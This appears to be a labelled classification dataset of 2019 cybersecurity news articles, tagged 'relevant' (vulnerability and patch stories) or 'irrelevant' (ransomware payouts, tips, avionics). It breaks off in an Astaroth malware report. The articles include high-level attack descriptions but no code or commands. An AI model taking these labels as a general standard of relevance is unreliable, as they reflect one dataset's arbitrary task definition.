"Firefox 67.0.4 Released — Mozilla Patches Second 0-Day Flaw This Week Okay, folks, it's time to update your Firefox web browser once again—yes, for the second time this week. After patching a critical actively-exploited vulnerability in Firefox 67.0.3 earlier this week, Mozilla is now warning millions of its users about a second zero-day vulnerability that attackers have been found exploiting in the wild. The newly patched issue (CVE-2019-11708) is a ""sandbox escape"" vulnerability, which if chained together with the previously patched ""type confusion"" bug (CVE-2019-11707), allows a remote attacker to execute arbitrary code on victims' computers just by convincing them into visiting a malicious website. Browser sandboxing is a security mechanism that keeps third-party processes isolated and confined to the browser, preventing them from damaging other sensitive parts of a computer's operating system. ""Insufficient vetting of parameters passed with the Prompt:Open IPC message between child and parent processes can result in the non-sandboxed parent process opening web content chosen by a compromised child process,"" the advisory explains. Firefox 0-Days Found Exploited in the Wild Mozilla has already been aware of the first issue since April when a Google Project Zero researcher reported it to the company, but it learned about the second issue and attacks in the wild just last week when attackers started exploiting both the flaws together to target employees from Coinbase platform and users of other cryptocurrency firms. Just yesterday, macOS security expert Patrick Wardle also published a report revealing that a separate campaign against cryptocurrency users is also using same Firefox 0-days to install a macOS malware on targeted computers. At this moment it's not clear if attackers independently discovered the first vulnerability just in time when it was already reported to Mozilla or gained classified bug-report information through another way. Install Firefox Patches to Prevent Cyber Attacks Anyway, the company has now released Firefox version 67.0.4 and Firefox ESR 60.7.2 that address both the issues, preventing attackers from remotely taking control over your systems. Though Firefox installs latest available updates automatically, users are still advised to ensure they are running Firefox 67.0.4 or later. Besides this, just like the patch for the previous issue, it is also expected that the Tor Project will once again release a new version of its privacy browser very soon to patch the second bug as well. Important Update (21/06/2019) ➤ The Tor Project on Friday also released second update (Tor Browser 8.5.3) for its privacy web-browser this week that patches the second vulnerability Firefox patched yesterday.",relevant
"Two Florida Cities Paid $1.1 Million to Ransomware Hackers This Month In the last two weeks, Florida has paid more than $1.1 million in bitcoin to cybercriminals to recover encrypted files from two separate ransomware attacks—one against Riviera Beach and the other against Lake City. Lake City, a city in northern Florida, agreed on Monday to pay hackers 42 Bitcoin (equivalent to $573,300 at the current value) to unlock phone and email systems following a ransomware attack that crippled its computer systems for two weeks. The ransomware attack, dubbed ""Triple Threat"" since it combines three different methods of attack to target network systems, infected Lake City systems on June 10 after an employee in city hall opened a malicious email. Though the IT staff disconnected computers within just 10 minutes of the cyber attack starting, it was too late. The attack locked down the city workers' email accounts and servers. Since the police and fire departments operate on a different server, they were the only ones not impacted by the attack. While other Lake City networks are currently disabled, Public Safety services remain unaffected by this attack. The unknown hackers contacted the city's insurer and negotiated ransom payment of 42 bitcoins, currently $573,300. Lake City officials voted on Monday to pay the ransom to regain access to their important files. The ransom payment would be mostly covered by insurance, although $10,000 would be incurred by taxpayers. ""Our systems are shut down, but there is no evidence to indicate any sensitive data has been compromised. All customer service payment data, such as credit card data, is stored off-site by third-party vendors and would not have been accessed by an attack like this on our network,"" said City Information Technology Director Brian Hawkins. Lake City is the second city in Florida recently being hit by a ransomware attack. Riviera Beach, another city in Florida, became a victim of a ransomware attack on May 29 after a city employee clicked on a malicious link in an email, according to local media reports. The ransomware attack crippled the city's computer systems for at least three weeks after which the Riviera Beach City Council authorized the city's insurer to pay a ransom of 65 Bitcoin ($897,650 at today's value) to regain access to their locked systems. Federal authorities and cybersecurity experts have always advised victims not to pay ransoms since it encourages cybercriminals, and also there's no guarantee of your files or computer systems being completely restored. Instead of paying hackers a ransom, organisations, and companies should have robust backups of their important and required files and data as well as educate their employees to avoid being a victim of any cyber attack.",irrelevant
"5 Keys to Improve Your Cybersecurity Cybersecurity isn't easy. If there was a product or service you could buy that would just magically solve all of your cybersecurity problems, everyone would buy that thing, and we could all rest easy. However, that is not the way it works. Technology continues to evolve. Cyber attackers adapt and develop new malicious tools and techniques, and cybersecurity vendors design creative new ways to detect and block those threats. Rinse and repeat. Cybersecurity isn't easy, and there is no magic solution, but there are a handful of things you can do that will greatly reduce your exposure to risk and significantly improve your security posture. The right platform, intelligence, and expertise can help you avoid the vast majority of threats, and help you detect and respond more quickly to the attacks that get through. Challenges of Cybersecurity Effective cybersecurity is challenging for a variety of reasons, but the changing perimeter and the confusing variety of solutions don't help. Long ago, during a time that is all but a distant memory by tech standards, cybersecurity was built around a concept of inside vs. outside, and us vs. them. The servers, applications, users, and data inside the network were inherently trusted, and everything outside of the network was assumed to be a potential threat. The advent of free public Wi-Fi, portable laptops, mobile devices, and cloud computing have eroded the idea that there is any sort of perimeter, and most attacks leverage valid credentials and appear to be legitimate users, so the old model of defending the perimeter is no longer valid. Meanwhile, as new platforms and technologies are developed, cybersecurity vendors inevitably create targeted point solutions for each one. The result is a confusing mix of tools and services that protect specific facets of the environment, but don't play well with each other and don't provide a holistic view of the whole infrastructure so you can understand your security posture as a whole. The constantly expanding and evolving threat landscape doesn't make it any easier, either. Attacks are increasingly complex and harder to identify or detect—like fileless or ""Living off the Land"" (LotL) attacks. The complexity of the IT infrastructure—particularly in a hybrid or multi-cloud environment—leads to misconfiguration and other human error that exposes the network to unnecessary risk. Attackers are also adopting machine learning and artificial intelligence to automate the process of developing customized attacks and evading detection. Improve Your Cybersecurity All of that sounds daunting—like cybersecurity is an exercise in futility—but there are things you can do. Keep in mind that your goal is not to be impervious to attack—there is no such thing as perfect cybersecurity. The goal is to increase the level of difficulty for an attacker to succeed in compromising your network and to improve your chances of quickly detecting and stopping attacks that occur. Here are 5 tips to help you do that: Assess your business objectives and unique attack surface — Choose a threat detection method that can address your workloads. For instance, cloud servers spin up and spin down constantly. Your detection must follow the provision and deprovision actions of your cloud platform(s) and collect metadata to follow events as they traverse this dynamic environment. Most SIEMs cannot do this. Eliminate vulnerabilities before they need threat detection — Use vulnerability assessments to identify and remove weaknesses before they become exploited. Assess your full application stack, including your code, third party code, and code configurations. Align data from multiple sources to enhance your use cases and desired outcomes — Collect and inspect all three kinds of data for suspicious activity: web, log, and network. Each data type has unique strengths in identifying certain kinds of threats and together present a whole picture for greater accuracy and actionable context. Use analytics to detect today's sophisticated attacks — ensure your threat detection methods look at both real-time events and patterns in historical events across time. Apply machine learning to find what you do not even know to look for. If you use SIEM, enlist machine learning to see what correlation missed and better tune your SIEM rules. Align security objectives to your business demands — There is more than one way to improve your security posture and detect threats. While SIEMs are a traditional approach, they are most useful for organizations that have a well-staffed security program. A SIEM alone is not the best solution for security monitoring against today's web applications and cloud environments. 5 Recommendations to Strengthen Your Security Program Jack Danahy, Senior Vice President, Security for Alert Logic, recently presented a webinar titled ""Five Recommendations to Strengthen Your Security Program."" If you want to learn more about the challenges organizations, face today with cybersecurity, and what you can do to improve your security posture, check out the recording of the webinar.",irrelevant
"Your Linux Can Get Hacked Just by Opening a File in Vim or Neovim Editor Linux users, beware! If you haven't recently updated your Linux operating system, especially the command-line text editor utility, do not even try to view the content of a file using Vim or Neovim. Security researcher Armin Razmjou recently discovered a high-severity arbitrary OS command execution vulnerability (CVE-2019-12735) in Vim and Neovim—two most popular and powerful command-line text editing applications that come pre-installed with most Linux-based operating systems. On Linux systems, Vim editor allows users to create, view or edit any file, including text, programming scripts, and documents. Since Neovim is just an extended forked version of Vim, with better user experience, plugins and GUIs, the code execution vulnerability also resides in it. Code Execution Flaw in Vim and Neovim Razmjou discovered a flaw in the way Vim editor handles ""modelines,"" a feature that's enabled-by-default to automatically find and apply a set of custom preferences mentioned by the creator of a file near the starting and ending lines in the document. linux-vim-vulnerability Though the editor only allows a subset of options in modelines (for security reasons) and uses sandbox protection if it contains an unsafe expression, Razmjou revealed that using "":source!"" command (with a bang [!] modifier) can be used to bypass the sandbox. Therefore, just opening an innocent looking specially crafted file using Vim or Neovim could allow attackers to secretly execute commands on your Linux system and take remote control over it. The researcher has also released two proof-of-concept exploits to the public, one of which demonstrates a real-life attack scenario wherein a remote attacker gains access to a reverse shell from the victim's system as soon as he/she opens a file on it. The maintainers of Vim (patch 8.1.1365) and Neovim (released in v0.3.6) have released updates for both utilities to address the issue, which users should install as soon as possible. Besides this, the researcher has also recommended users to: disable modelines feature, disable ""modelineexpr"" to disallow expressions in modelines, use ""securemodelines plugin,"" a secure alternative to Vim modelines.",relevant
"Firefox Releases Critical Patch Update to Stop Ongoing Zero-Day Attacks Important Update [21 June 2019]—Mozilla on Thursday released another update Firefox version 67.0.4 to patch a second zero-day vulnerability. If you use the Firefox web browser, you need to update it right now. Mozilla earlier today released Firefox 67.0.3 and Firefox ESR 60.7.1 versions to patch a critical zero-day vulnerability in the browsing software that hackers have been found exploiting in the wild. Discovered and reported by Samuel Groß, a cybersecurity researcher at Google Project Zero, the vulnerability could allow attackers to remotely execute arbitrary code on machines running vulnerable Firefox versions and take full control of them. The vulnerability, identified as CVE-2019-11707, affects anyone who uses Firefox on desktop (Windows, macOS, and Linux) — whereas, Firefox for Android, iOS, and Amazon Fire TV are not affected. According to an advisory, the flaw has been labeled as a type confusion vulnerability in Firefox that can result in an exploitable crash due to issues in Array.pop which can occur when manipulating JavaScript objects. At the time of writing, neither the researcher nor Mozilla has yet released any further technical details or proof-of-concept for this flaw. Through Firefox automatically installs latest updates and activate new version after a restart, users are still advised to ensure they are running the latest Firefox 67.0.3 and Firefox (Extended Support Release) 60.7.1 or later. Update The researcher later today shared a few more details about the flaw with The Hacker News, saying the reported flaw primarily leads to Universal Cross-site Scripting (UXSS) attacks, but if combined with a sandbox escape issue, it could also allow attackers to execute arbitrary code remotely on a targeted systems. ""I don't have any insights into the active exploitation part. I found and then reported the bug on April 15. The first public fix then landed about a week ago (sec fixes are held back until close to the next release):"" Groß said on Twitter. ""The bug can be exploited for RCE but would then need a separate sandbox escape. However, most likely it can also be exploited for UXSS which might be enough depending on the attacker's goals.""",relevant
"New Critical Oracle WebLogic Flaw Under Active Attack — Patch Now Oracle has released an out-of-band emergency software update to patch a newly discovered critical vulnerability in the WebLogic Server. According to Oracle, the vulnerability—which can be identified as CVE-2019-2729 and has a CVSS score of 9.8 out of 10—is already being exploited in the wild by an unnamed group of attackers. Oracle WebLogic is a Java-based multi-tier enterprise application server that allows businesses to quickly deploy new products and services on the cloud, which is popular across both, cloud environment and conventional environments. The reported vulnerability is a deserialization issue via XMLDecoder in Oracle WebLogic Server Web Services that could allow unauthorized remote attackers to execute arbitrary code on the targeted servers and take control over them. ""This remote code execution vulnerability is remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password,"" the advisory said. In a separate note, the company also revealed that the flaw is related to a previously known deserialization vulnerability (CVE-2019-2725) in Oracle WebLogic Server that it patched in April this year. The previously patched RCE flaw in Oracle WebLogic was also exploited by attackers as a zero-day i.e., to distribute Sodinokibi ransomware and cryptocurrency mining malware. Reported independently by a separate group of individuals and organizations, the new vulnerability affects Oracle WebLogic Server versions 10.3.6.0.0, 12.1.3.0.0, and 12.2.1.3.0 Due to the severity of this vulnerability, the company has recommended affected users and companies to install available security updates as soon as possible. Other Important Security Updates from Oracle Besides this, Cisco today also released several other software updates for various of its products that to addresses some critical and high severity vulnerabilities. Cisco TelePresence — a video conferencing system by Cisco, the software contains a high severity vulnerability that could allow remote attackers to execute arbitrary shell commands or scripts on the targeted device just by sending crafted CDP packets to an affected device. Cisco SD-WAN Solution — The vManage web-based interface of the software-defined WAN solutions by Cisco contains three flaws, two of which have been rated high in severity, and one is critical. Two of these allow an attacker to elevate his privileges to the root user, whereas one flaw could allow an authenticated, remote attacker to execute arbitrary commands with root privileges. Cisco Router Management Interface — Cisco's RV110W, RV130W, and RV215W Routers contains a denial-of-service vulnerability that could allow an unauthenticated attacker to cause a reload of an affected device. Another flaw in this product affected by a medium severity issue that could expose the list of devices that are connected to the guest network to remote attackers.",relevant
"RAMBleed Attack – Flip Bits to Steal Sensitive Data from Computer Memory A team of cybersecurity researchers yesterday revealed details of a new side-channel attack on dynamic random-access memory (DRAM) that could allow malicious programs installed on a modern system to read sensitive memory data from other processes running on the same hardware. Dubbed RAMBleed and identified as CVE-2019-0174, the new attack is based on a well-known class of DRAM side channel attack called Rowhammer, various variants [GLitch, RAMpage, Throwhammer, Nethammer, Drammer] of which have been demonstrated by researchers in recent years. Known since 2012, Rowhammer bug is a hardware reliability issue that was found in the new generation of DRAM chips. It turned out that repeatedly and rapidly accessing (hammering) a row of memory can cause bit flips in adjacent rows, i.e., changing their bit values from 0 to 1 or vice-versa. In the following years, researchers also demonstrated successful exploits to achieve privilege escalation on the vulnerable computers by flipping (writing) bits in the victim's memory. Discovered by a team of researchers from the University of Michigan, Graz University of Technology and the University of Adelaide, the new RAMBleed also relies on the bit-flip mechanism; but instead of writing data in the adjacent rows, this attack allows attackers to read the information in protected memory belonging to other programs and users. ""More specifically, we show how an unprivileged attacker can exploit the data dependence between Rowhammer induced bit flips and the bits in nearby rows to deduce these bits, including values belonging to other processes and the kernel."" ""Thus, the primary contribution of this work is to show that Rowhammer is a threat to not only integrity but to confidentiality as well."" dram hacking rowhammer rambleed As shown in the image, if an attacker wants to read secret data contained in the ""Secret"" memory cells, he has to: Find a flippable bit (Sampling page) at the same offset in a memory page as the secret bit. Manipulate the memory layout using memory massaging techniques to carefully place the victim's secret data in the rows above and below the attacker's memory row, the arrangement as illustrated in the image, so that the bit flips in the attacker's rows becomes dependent on the values of the victim's secret data. Hammer the rows A0 and A2 and induce bit flips on row A1 (Sampling page), whose initial value has been set to 1, influencing its value using the victim's data in ""secret"" cells. ""If the bit flipped, the attacker deduces that the value of the secret bit is 0. Otherwise, the attacker deduces that the value is 1,"" the researchers said in the paper. ""Repeating the procedure with flippable bits at different offsets in the page allows the attacker to recover all of the bits of the victim's secret."" To demonstrate the read side channel technique, researchers presented an attack against OpenSSH 7.9 running on a Linux machine and successfully extracted an RSA-2048 key from the root level SSH daemon. According to researchers, even ECC (Error Correcting Code) memory protections—which can detect and correct unwanted bit-flips and also mitigates many Rowhammer-based attacks—don't prevent RAMBleed attack. Though both DDR3 and DDR4 are vulnerable to RAMBleed attack, researchers advised users to mitigate the risk by upgrading their memory to DDR4 with targeted row refresh (TRR) enabled, as it's harder to exploit.",relevant
"Tor Browser 8.5.2 Released — Update to Fix Critical Firefox Vulnerability Important Update (21 June 2019) ➤ The Tor Project on Friday released second update (Tor Browser 8.5.3) for its privacy web-browser that patches the another Firefox zero-day vulnerability patched this week. Following the latest critical update for Firefox, the Tor Project today released an updated version of its anonymity and privacy browser to patch the same Firefox vulnerability in its bundle. Earlier this week, Mozilla released Firefox 67.0.3 and Firefox ESR 60.7.1 versions to patch a critical actively-exploited vulnerability (CVE-2019-11707) that could allow attackers to remotely take full control over systems running the vulnerable browser versions. Besides updating Firefox, the latest Tor Browser 8.5.2 for desktops also includes updated NoScript version 10.6.3 that fixes a few known issues. According to the Tor Project Team, if you are already using Tor browser with ""safer"" and ""safest"" security levels, the flaw doesn't affect you. For some reason, the team hasn't yet released an updated Tor version for Android users, which should be available anytime soon in the next few days. However, Android users have been advised to switch on ""safer"" or ""safest"" security levels in order to mitigate the issue until a patched app becomes available. firefox tor browser vulnerability ""The security level on Android can be changed by going in the menu on the right of the URL bar and selecting Security Settings,"" Nicolas Vigier, the Lead Automation Engineer at Tor Project said. The Google security researcher who discovered this flaw also revealed that it could be abused to launch universal cross-site scripting (UXSS) attacks as well, allowing malicious websites to bypass same-origin policy on the victim's web browser and steal sensitive information. Since Tor is primarily being used by privacy-conscious users who can't afford to get compromised at any cost, it's highly recommended for them to install the latest version of the anonymity software immediately.",relevant
"Beware! Playing Untrusted Videos On VLC Player Could Hack Your Computer If you use VLC media player on your computer and haven't updated it recently, don't you even dare to play any untrusted, randomly downloaded video file on it. Doing so could allow hackers to remotely take full control over your computer system. That's because VLC media player software versions prior to 3.0.7 contain two high-risk security vulnerabilities, besides many other medium- and low-severity security flaws, that could potentially lead to arbitrary code execution attacks. With more than 3 billion downloads, VLC is a hugely popular open-source media player software that is currently being used by hundreds of millions of users worldwide on all major platforms, including Windows, macOS, Linux, as well as Android and iOS mobile platforms. Discovered by Symeon Paraschoudis from Pen Test Partners and identified as CVE-2019-12874, the first high-severity vulnerability is a double-free issue which resides in ""zlib_decompress_extra"" function of VideoLAN VLC player and gets triggered when it parses a malformed MKV file type within the Matroska demuxer. The second high-risk flaw, identified as CVE-2019-5439 and discovered by another researcher, is a read-buffer overflow issue that resides in ""ReadFrame"" function and can be triggered using a malformed AVI video file. vlc media player vulnerabilities Though the proof-of-concepts demonstrated by both researchers cause a crash, a potential attacker can exploit these vulnerabilities to achieve arbitrary code execution with the same privileges as of the target user on the system. All the attacker needs to do is craft a malicious MKV or AVI video file and trick users into playing it using the vulnerable versions of VLC. Well, that's not a tough job, as attackers can easily target hundreds of thousands of users within hours by simply releasing malicious video files on torrent sites, mimicking as a pirated copy of a newly released movie or TV series. According to an advisory released by VideoLAN, having ASLR and DEP protections enabled on the system could help users mitigate the threat, but developers did admit that these protections could be bypassed too. Paraschoudis used honggfuzz fuzzing tool to discover this issue and four other bugs, which were also patched by the VideoLAN team earlier this month along with 28 other bugs reported by other security researchers through EU-FOSSA bug bounty program. Users are highly recommended to update their media player software to VLC 3.0.7 or later versions and should avoid opening or playing video files from untrusted third parties.",relevant
"DHS Warns Small Airplanes Vulnerable to Flight Data Manipulation Attacks What could be more horrifying than knowing that a hacker can trick the plane's electronic systems into displaying false flight data to the pilot, which could eventually result in loss of control? Of course, the attacker would never wish to be on the same flight, so in this article, we are going to talk about a potential loophole that could allow an attacker to exploit a vulnerability with some level of ""unsupervised"" physical access to a small aircraft before the plane takes off. The United States Department of Homeland Security's (DHS) has issued an alert for the same, warning owners of small aircraft to be on guard against a vulnerability that could enable attackers to easily hack the plane's CAN bus and take control of key navigation systems. The vulnerability, discovered by a cybersecurity researcher at Rapid 7, resides in the modern aircraft's implementation of CAN (Controller Area Network) bus—a popular vehicular networking standard used in automobiles and small aircraft that allows microcontrollers and devices to communicate with each other in applications without a host computer. Rapid7 researcher Patrick Kiley demonstrated that a hacker with physical access to a small aircraft's wiring could attach a device—or co-opt an existing attached device—to the plane's avionics CAN bus to insert false data and communicate them to the pilot. ""Modern aircraft use a network of electronics to translate signals from the various sensors and place this data onto a network to be interpreted by the appropriate instruments and displayed to the pilot,"" Kiley said in a report published Tuesday. small aircraft instrument panel The attacker can manipulate the following data: Engine telemetry readings Compass and attitude data Altitude, airspeed, and angle of attack (AoA) data ""The researchers have further outlined that a pilot relying on instrument readings would be unable to distinguish between false and legitimate readings, which could result in loss of control of the affected aircraft,"" the DHS' cyber division warned Tuesday. Kiley demonstrated the attack after investigating avionics systems—an electronic control and navigation system fitted in an aircraft—from two unnamed commercial aircraft manufacturers specialized in light aircraft. Kiley found that the key problem with the avionics CAN bus is that it is integrated into the aircraft's other components without any firewalls or authentication, which means untrusted connections over a USB adapter attached to the plane can send unauthorized commands to its electronic systems. ""In avionics, these systems provide the foundation of control systems and sensor systems and collect data such as altitude, airspeed, and engine parameters such as fuel level and oil pressure, then display them to the pilot,"" the researcher said. ""CAN packets also do not have recipient addresses or any kind of built-in authentication mechanism. This is what makes the bus easy to implement, but it also removes any assurance that the sending device was the actual originator of the message."" Though the attack sounds scary, it is not easy to gain ""unsupervised"" physical access to a plane, given ""current industry practices and regulations,"" nevertheless, the Rapid7 report is worth paying attention to. The researcher also pointed out that the avionics sector is lagging behind the automotive industry when it comes to the CAN bus system. The automotive industry has made advancements in implementing safeguards, such as CAN bus-specific filtering, whitelisting, and segregation, that prevent similar physical attacks to CAN bus systems. Aircraft makers should also implement these safeguards. The DHS' CISA is urging aircraft manufacturers to consider network protections around the CAN bus system and make sure they restrict access to their planes to the best of their abilities.",irrelevant
"Your Android Phone Can Get Hacked Just By Playing This Video Are you using an Android device? Beware! You should be more careful while playing a video on your smartphone—downloaded anywhere from the Internet or received through email. That's because, a specially crafted innocuous-looking video file can compromise your Android smartphone—thanks to a critical remote code execution vulnerability that affects over 1 billion devices running Android OS between version 7.0 and 9.0 (Nougat, Oreo, or Pie). The critical RCE vulnerability (CVE-2019-2107) in question resides in the Android media framework, which if exploited, could allow a remote attacker to execute arbitrary code on a targeted device. To gain full control of the device, all an attacker needs to do is tricking the user into playing a specially crafted video file with Android's native video player application. Though Google already released a patch earlier this month to address this vulnerability, apparently millions of Android devices are still waiting for the latest Android security update that needs to be delivered by their respective device manufacturers. ""The most severe vulnerability in this section [media framework] could enable a remote attacker using a specially crafted file to execute arbitrary code within the context of a privileged process,"" Google described the vulnerability in its July Android Security Bulletin. android media framework exploit What makes the issue more worrisome is that Germany-based Android developer Marcin Kozlowski has uploaded a proof-of-concept for this attack on Github. Although the PoC shared by Kozlowski, an HEVC encoded video, only crashes the media player, it can help potential attackers develop their exploits to achieve RCE on targeted devices. However, it should be noted that if such malicious videos are received through an instant messaging app like WhatsApp or Facebook Messenger or uploaded on a service like YouTube or Twitter, the attack won't work. That's because these services usually compress videos and re-encode media files which distorts the embedded-malicious code. The best way to protect yourself from this attack is to make sure you update your mobile operating system as soon as the latest patch becomes available. Meanwhile, you are recommended to avoid downloading and playing random videos from untrusted sources and follow basic security and privacy practices.",relevant
"Android July 2019 Security Update Patches 33 New Vulnerabilities Google has started rolling out this month's security updates for its mobile operating system platform to address a total of 33 new security vulnerabilities affecting Android devices, 9 of which have been rated critical in severity. The vulnerabilities affect various Android components, including the Android operating system, framework, library, media framework, as well as Qualcomm components, including closed-source components. Three of the critical vulnerabilities patched this month reside in Android's Media framework, the most severe of which could allow a remote attacker to execute arbitrary code on a targeted device, within the context of a privileged process, by convincing users into opening a specially crafted malicious file. ""The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed,"" the company says. Out of the remaining seven critical vulnerabilities, one affects Android Library, one affects the System, two resides in Qualcomm components (one in DSP_Services and one in Kernel), and three resides in Qualcomm closed-source components. Besides this, a high-severity flaw (CVE-2019-2104) in the Android Framework could allow an installed malicious app to bypass user interaction requirements in an attempt to gain access to additional permissions. Six high-severity vulnerabilities addressed in Qualcomm components resides in WLAN Host (CVE-2019-2276, CVE-2019-2307), WLAN Driver (CVE-2019-2305), HLOS (CVE-2019-2278), and Audio (CVE-2019-2326, CVE-2019-2328). According to the Android security advisory, none of the flaws addressed this month were publicly disclosed or found being exploited in the wild. Apart from releasing patches for security vulnerabilities, the Android Security Patch for July 2019 also includes fixes for various issues in some of the supported version of Pixel devices. Pixel smartphone users will get the July updates shortly, while others will have to wait for their Android device manufacturers or service providers to roll out the security patches for their devices. Users are strongly recommended to download the most recent Android security updates as soon as they are available in order to keep their Android devices protected against any potential attack.",relevant
"New Attack Lets Android Apps Capture Loudspeaker Data Without Any Permission Earlier this month, The Hacker News covered a story on research revealing how over 1300 Android apps are collecting sensitive data even when users have explicitly denied the required permissions. The research was primarily focused on how app developers abuse multiple ways around to collect location data, phone identifiers, and MAC addresses of their users by exploiting both covert and side channels. Now, a separate team of cybersecurity researchers has successfully demonstrated a new side-channel attack that could allow malicious apps to eavesdrop on the voice coming out of your smartphone's loudspeakers without requiring any device permission. Abusing Android Accelerometer to Capture Loudspeaker Data Dubbed Spearphone, the newly demonstrated attack takes advantage of a hardware-based motion sensor, called an accelerometer, which comes built into most Android devices and can be unrestrictedly accessed by any app installed on a device even with zero permissions. An accelerometer is a motion sensor that lets apps monitor the movement of a device, such as tilt, shake, rotation, or swing, by measuring the time rate of change of velocity with respect to magnitude or direction. android accelerometer speech reverberations Since the built-in loudspeaker of a smartphone is placed on the same surface as the embedded motion sensors, it produces surface-borne and aerial speech reverberations in the body of the smartphone when loudspeaker mode is enabled. Discovered by a team of security researchers—Abhishek Anand, Chen Wang, Jian Liu, Nitesh Saxena, Yingying Chen—the attack can be triggered when the victim either places a phone or video call on the speaker mode, or attempts to listen to a media file, or interacts with the smartphone assistant. As a proof-of-concept, researchers created an Android app, which mimics the behavior of a malicious attacker, designed to record speech reverberations using the accelerometer and send captured data back to an attacker-controlled server. Researchers say the remote attacker could then examine the captured readings, in an offline manner, using signal processing along with ""off-the-shelf"" machine learning techniques to reconstruct spoken words and extract relevant information about the intended victim. Spearphone Attack: Spy On Calls, Voice Notes, and Multimedia According to the researchers, the Spearphone attack can be used to learn about the contents of the audio played by the victim—selected from the device gallery over the Internet, or voice notes received over the instant messaging applications like WhatsApp. ""The proposed attack can eavesdrop on voice calls to compromise the speech privacy of a remote end-user in the call,"" the researchers explain. ""Personal information such as social security number, birthday, age, credit card details, banking account details, etc. consist mostly of numerical digits. So, we believe that the limitation of our dataset size should not downplay the perceived threat level of our attack."" Researchers also tested their attack against phone's smart voice assistants, including Google Assistant and Samsung Bixby, and successfully captured response (output results) to a user query over the phone's loudspeaker. android speaker hacking The researchers believe that by using known techniques and tools, their Spearphone attack has ""significant value as it can be created by low-profile attackers."" Besides this, Spearphone attack can also be used to simply determine some other user's speech characteristics, including gender classification, with over 90% accuracy, and speaker identification, with over 80% accuracy. ""For example, an attacker can learn if a particular individual (a person of interest under surveillance by law enforcement) was in contact with the phone owner at a given time,"" the researchers say. Nitesh Saxena also confirmed The Hacker News that the attack can not be used to capture targeted users' voice or their surroundings because ""that is not strong enough to affect the phone's motion sensors, especially given the low sampling rates imposed by the OS,"" and thus also doesn't interfere with the accelerometer readings. For more details, we encourage our readers to head onto the full research paper [PDF], titled ""Spearphone: A Speech Privacy Exploit via Accelerometer-Sensed Reverberations from Smartphone Loudspeakers."" The paper also discussed some possible mitigation techniques that may help prevent such attacks, as well as a few limitations, including low sampling rate and variation in maximum volume and voice quality of different phone that could negatively impact the accelerometer readings. In a previous report, we also explained how malware apps were found using motion-sensors of infected Android devices to avoid detection by monitoring if the device is running in a run emulator or belongs to a legitimate user with movements.",relevant
"Google Researchers Disclose PoCs for 4 Remotely Exploitable iOS Flaws Google's cybersecurity researchers have finally disclosed details and proof-of-concept exploits for 4 out of 5 security vulnerabilities that could allow remote attackers to target Apple iOS devices just by sending a maliciously-crafted message over iMessage. All the vulnerabilities, which required no user interaction, were responsibly reported to Apple by Samuel Groß and Natalie Silvanovich of Google Project Zero, which the company patched just last week with the release of the latest iOS 12.4 update. Four of these vulnerabilities are ""interactionless"" use-after-free and memory corruption issues that could let remote attackers achieve arbitrary code execution on affected iOS devices. However, researchers have yet released details and exploits for three of these four critical RCE vulnerabilities and kept one (CVE-2019-8641) private because the latest patch update did not completely address this issue. The fifth vulnerability (CVE-2019-8646), an out-of-bounds read, can also be executed remotely by just sending a malformed message via iMessage. But instead of code execution, this bug allows an attacker to read the content of files stored on the victim's iOS device through leaked memory. Here below, you can find brief details, links to the security advisory, and PoC exploits for all four vulnerabilities: CVE-2019-8647 (RCE via iMessage) — This is a use-after-free vulnerability that resides in the Core Data framework of iOS that can cause arbitrary code execution due to insecure deserialization when NSArray initWithCoder method is used. CVE-2019-8662 (RCE via iMessage) — This flaw is also similar to the above use-after-free vulnerability and resides in the QuickLook component of iOS, which can also be triggered remotely via iMessage. CVE-2019-8660 (RCE via iMessage) — This is a memory corruption issue resides in Core Data framework and Siri component, which if exploited successfully, could allow remote attackers to cause unexpected application termination or arbitrary code execution. CVE-2019-8646 (File Read via iMessage) — This flaw, which also resides in the Siri and Core Data iOS components, could allow an attacker to read the content of files stored on iOS devices remotely without user interactions, as user mobile with no-sandbox. Besides these 5 vulnerabilities, Silvanovich also last week released details and a PoC exploit for another out-of-bounds read vulnerability that also allows remote attackers to leak memory and read files from a remote device. The vulnerability, assigned as CVE-2019-8624, resides in Digital Touch component of watchOS and affects Apple Watch Series 1 and later. The issue has been patched by Apple this month with the release of watchOS 5.3. Since proof-of-concept exploits for all these six security vulnerabilities are now available to the public, users are highly recommended to upgrade their Apple devices to the latest version of the software as soon as possible. Besides security vulnerabilities, the long-awaited iOS 12.4 updates for iPhone, iPad, and iPod touch also came up with some new features, including the ability to wirelessly transfer data and migrate directly from an old iPhone to a new iPhone during setup.",relevant
"Watch Out! Microsoft Spotted Spike in Astaroth Fileless Malware Attacks Security researchers at Microsoft have released details of a new widespread campaign distributing an infamous piece of fileless malware that was primarily being found targeting European and Brazilian users earlier this year. Dubbed Astaroth, the malware trojan has been making the rounds since at least 2017 and designed to steal users' sensitive information like their credentials, keystrokes, and other data, without dropping any executable file on the disk or installing any software on the victim's machine. Initially discovered by researchers at Cybereason in February this year, Astaroath lived off the land by running the payload directly into the memory of a targeted computer or by leveraging legitimate system tools, such as WMIC, Certutil, Bitsadmin, and Regsvr32, to run the malicious code. While reviewing the Windows telemetry data, Andrea Lelli, a researcher at Microsoft Defender ATP Research Team, recently spotted a sudden unusual spike in the usage of Management Instrumentation Command-line (WMIC) tool, leading to the disclosure of a fileless attack. Further investigation revealed that the attackers behind this campaign are distributing multi-stage Astaroth malware through spear-phishing emails with a malicious link to a website hosting an LNK shortcut file. Clicking the shortcut file executes Windows built-in WMIC tool that downloads and executes a JavaScript code, which further abuses the Bitsadmin tool to download all other malicious payloads that actually perform the malicious tasks of pilfering and uploading the victim's data while disguising itself as a system process. ""All the payloads are Base64-encoded and decoded using the Certutil tool. Two of them result in plain DLL files (the others remain encrypted),"" the researcher said in a blog post published Monday. ""The Regsvr32 tool is then used to load one of the decoded DLLs, which in turn decrypt and loads other files until the final payload, Astaroth, is injected into the Userinit process."" This means that the malware doesn't rely on any vulnerability exploit or traditional trojan downloader to download anything on the targeted system. Instead, it completely relies on system tools and commands during its entire attack chain to masquerade as a regular activity. fileless malware attacks This technique is called ""living off the land"" and lets the malware evade detection from most end-point antivirus security solutions which are based on static files analysis. The initial access and execution stages to silently install the Astaroth malware on target devices have been demonstrated in the above-shown attack chain. Once on the targeted system, Astaroth tries to steal sensitive information like credentials, keystrokes, and other data, and send it to a remote server controlled by the attackers. The attacker can then use this stolen data to try ""moving laterally across networks, carry out financial theft, or sell victim information in the cybercriminal underground,"" the researcher said. Microsoft said the various feature of its Defender ATP next-generation 